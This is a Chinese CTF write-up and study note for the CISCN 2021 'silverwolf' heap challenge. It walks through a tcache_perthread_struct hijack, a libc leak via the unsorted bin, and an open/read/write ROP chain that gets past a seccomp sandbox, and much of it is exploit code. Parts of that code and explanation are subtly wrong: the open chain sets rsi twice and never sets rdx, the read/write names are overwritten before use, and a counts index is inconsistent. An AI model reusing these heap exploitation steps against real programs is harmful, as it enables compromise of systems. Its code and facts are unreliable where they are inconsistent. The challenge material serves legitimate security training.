7-30-复习
7-30-复习
前段时间太忙了,一直没时间梳理所学内容,今天复习一下ciscn的一道题,涉及到tcache和orw利用
题目:PWN1—[CISCN 2021 初赛]silverwolf
拿到手后发现是经典的笔记管理系统
不过有意思的是这道题是分配内存完成之后利用edit进行编辑
写完四个脚本自定义函数执行,我们来看看程序逻辑
ida分析可以看到系统中存在沙箱漏洞
意味着execute(“system”)被禁用,我们想cat flag 需要走orw
泄露堆的基地址
首先,想走orw的基础,我们需要泄露libc基地址
这样才能计算与之相关的三个函数的地址
我们先申请一个0x78大小的堆块
然后释放它
这里得到堆的基地址
如下:
add(0x78)
free()
show()
io.recvuntil(b'Content: ')
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x11b0
0x11b0的原因
+---------------------+ <-- heap_base (堆起始地址)
| arena metadata |
| (主线程arena结构) | // 大小约0x11A0字节
+---------------------+
| top chunk header | // 大小0x10字节
+---------------------+ <-- heap_base + 0x11B0
| 第一个用户chunk的fd指针 | // 泄露点位置
+---------------------+
内存覆盖机制
当chunk被释放时,glibc会覆盖用户数据区域的前8字节作为fd指针(64位系统):
+-------------------+-------------------+
| chunk头部 | 用户数据区域 |
| (size, flags) | |
+-------------------+-------------------+
^
| 释放后被覆盖为fd指针
Tcache bins (glibc >= 2.26)
-
行为:仅覆盖前8字节为fd指针
-
特点:
chunk->fd = tcache->entries[size_index]; // 指向tcache链表头 tcache->entries[size_index] = chunk; // 新释放chunk成为链表头 -
为什么有值?
在tcache首次使用时:- tcache->entries[0x80]初始指向tcache管理结构
- 释放后:
chunk->fd = tcache->entries[0x80] - 因此泄露的是tcache管理结构地址
后续泄露libc地址
# 篡改tcache计数后
free() # 释放到unsorted bin
show() # 读取fd指针
- 为什么是libc地址?
- tcache满后chunk进入unsorted bin
- unsorted bin的fd指向main_arena
- main_arena位于libc数据段
泄露原理
至此通过在tcache_perthread_struct + 0x10的地方申请堆块,我们就成功劫持到了这个结构体。
通过修改堆块数量部分,我们可以伪造Tcache已满。然后让程序将堆块放入Unsorted Bin中。这样就会泄露出来一个main_arena + 一定值的地址。
之后我们释放堆,由于我们修改目前已存在7个Tcache堆块,我们的堆块会被放入Unsorted Bin中。
记得要恢复这部分,因为我们需要使用Tcache来进行后续的攻击。
edit(p64(heap_base + 0x10)) # 不能直接使用基址,会导致整个结构体出错。
add(0x78)
add(0x78)
edit(p64(0) * 4 + p64(0x0000000007000000))
free()
show()
libc_base = leak_addr(2, io) - 0x70 - libc.sym['__malloc_hook']
show_addr('Libc base addr: ', libc_base)
# edit(b'\x00' * 0x78) # 另一个修复结构体的方法。
edit(p64(0) * 4 + p64(0x0000000000000000))
-
在 tcache 结构中,
counts数组存储每个 bin 的当前 chunk 数量 -
索引计算:
idx = (chunk_size - 0x10) // 0x100x80 大小 chunk 的索引:
(0x80 - 0x10) // 0x10 = 7 -
修改位置:
heap_base + 0x30(对应 counts[48])
GadGet
free_hook = libc_base + libc.sym['__free_hook']
pop_rdi = libc_base + 0x215BF
pop_rax = libc_base + 0x43AE8
pop_rsi = libc_base + 0x23EEA
pop_rdx = libc_base + 0x1B96
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
setcontext = libc_base + libc.sym['setcontext'] + 53 # 通常会为了避免使用 fldenv 指令,因为这个指令会使程序崩溃。
syscall = libc_base + 0xE5965 # 必须是单个syscall, 如: 0x7f5afec19965 (geteuid+5) ◂— syscall
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8AA
最后写一遍orw流程吧
open = p64(pop_rdi) + p64(flag_addr)
open += p64(pop_rax) + p64(2)
open += p64(pop_rsi) + p64(0)
open += p64(pop_rsi) + p64(0)
open += p64(syscall) #open('./flag')
read = p64(pop_rdi) + p64(3)
read += p64(pop_rsi) + p64(orw1)
read += p64(pop_rdx) + p64(0x30)
read += p64(read) # read(3,orw1,0x30)
write = p64(pop_rdi) + p64(1)
write += p64(write)# write(1, orw1, 0x30)

浙公网安备 33010602011771号